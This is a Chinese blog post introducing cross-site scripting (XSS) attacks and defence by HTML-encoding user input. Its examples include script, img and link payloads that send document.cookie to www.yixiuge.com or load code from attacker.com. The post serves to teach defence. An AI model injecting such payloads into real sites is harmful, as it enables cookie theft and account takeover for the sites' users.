最近在看一些關(guān)于網(wǎng)絡(luò)安全的問題，跟前端相關(guān)的包括且不局限于xss和xsrf 了，那么一休哥（四爺在此）就結(jié)合最近的學(xué)習(xí)談一些粗淺的了解和實(shí)驗(yàn)。（\(^o^)/，我是一個(gè)喜歡做實(shí)驗(yàn)的家伙）
XSS （Cross?site script）攻擊！
XSS 意思就是跨站腳本攻擊。這里面也涉及到跨域的問題，特別是在后面談到XSRF防御的時(shí)候。簡單來說XSS就是來自外部輸入的腳本被注入到了受害網(wǎng)站（~ o ~, 被公雞了），如果該網(wǎng)站沒有對(duì)臨時(shí)加入DOM 結(jié)構(gòu)的 JS 腳本進(jìn)行過濾，那么這段腳本可能被之后訪問該網(wǎng)站的用戶瀏覽器執(zhí)行。?
舉個(gè)栗子：
假如 簡書 網(wǎng)站有評(píng)論功能且沒有針對(duì)XSS 的過濾，那么一休哥在@英俊熊的某文章下評(píng)論了一下內(nèi)容：
<script>alert("你查看了小熊哥的博文，賠錢！！打賞??！不打賞不準(zhǔn)走！")</script>
那么這段字符串POST給了 稚嫩的服務(wù)器，沒有Encode，啥都沒做。原封不動(dòng)加入了原本的HTML頁面，那么當(dāng)其他用戶查看該文章的時(shí)候?yàn)g覽器就會(huì)自動(dòng)執(zhí)行DOM Tree中的這句 JS 語句，彈出來 嚇人+_+...?
這還不算啥，頂多就是煩人。但如果評(píng)論里面寫的是：?
<script>window.open(www.yixiuge.com?content=document.cookie);</script>
我擦。。當(dāng)你訪問小熊哥博文時(shí)，你在當(dāng)前域名下的cookie被一休哥設(shè)置的什么鬼網(wǎng)站給get到了。。www.yixiuge.com 這個(gè)網(wǎng)站的后臺(tái)程序會(huì)拿到你的cookie，然后借此cookie登陸你的簡書，亂發(fā)段子。
其實(shí)，有個(gè)非常棒的圖展示了整個(gè)XSS攻擊的過程。
所以作為一個(gè)合格的WebApp，不能相信任何用戶輸入內(nèi)容， 更不能未加處理就直接Print到HTML DOM 結(jié)構(gòu)里。當(dāng)今主流的一些前端框架（Angular 2.1，都已經(jīng)2.1了。。。）都實(shí)現(xiàn)了對(duì)XSS的防御，結(jié)合服務(wù)器端程序更是可以防御XSRF（Cross site request forgery 跨站偽造請(qǐng)求）
防御
那么到底如何防御這種簡單的公雞呢？
我簡單說一下，因?yàn)槲乙矝]有完全實(shí)現(xiàn)過HTML Encoder什么鬼的，只是做了一些實(shí)驗(yàn)來驗(yàn)證。核心思想就是：不相信用戶輸入，對(duì)任何輸入都進(jìn)行過濾，如果非要顯示，那么Encode之后再顯示在HTML中。
大家想一下，除了<script></script>這樣的標(biāo)簽在DOM結(jié)構(gòu)中會(huì)自動(dòng)執(zhí)行，還有哪些？？
對(duì)的：<img src="attacker.com/porn.js" /> ?<a href="www.yixiuge.com?content=document.cookie"></a> 等等都能實(shí)現(xiàn)GET請(qǐng)求外部腳本，或者向非法網(wǎng)站發(fā)送POST請(qǐng)求。可能會(huì)修改你正在訪問的網(wǎng)站的密碼。。很危險(xiǎn)，所以在將用戶評(píng)論P(yáng)OST 到服務(wù)器之前就可以做HTML Encode 操作（或者叫做Escape操作），原理就是把 < , > , " 等等不安全字符換成無害字符，這樣瀏覽器就不會(huì)把這段字符串作為代碼來執(zhí)行了。
舉個(gè)栗子：
用戶輸入評(píng)論是：<script>alert(" peiqian!")</script>
無害處理后字符串是：
轉(zhuǎn)換背后的機(jī)制是一套特殊符號(hào)?和 安全字符的映射表， 而且這個(gè)跟瀏覽器對(duì)HTML的渲染機(jī)制有關(guān)。各大瀏覽器中的JS引擎碰到<script> </script>這樣的標(biāo)簽，會(huì)解析其中的代碼，并且執(zhí)行。但碰到 <> 這樣的字符就不會(huì)當(dāng)做JS 執(zhí)行，而是作為普通字符串打印。大家可以試試看Encode 前后這個(gè)例子在瀏覽器中的表現(xiàn)。
映射表參考鏈接：?映射表
那么除了大型框架，有木有自動(dòng)Encode 的工具呢？發(fā)現(xiàn)一個(gè)，可以用用看。附上鏈接：HTML entities。 好吧，這次說了XSS，下一篇再說一下XSRF的危害和防御機(jī)制。看了文章，賠錢！！
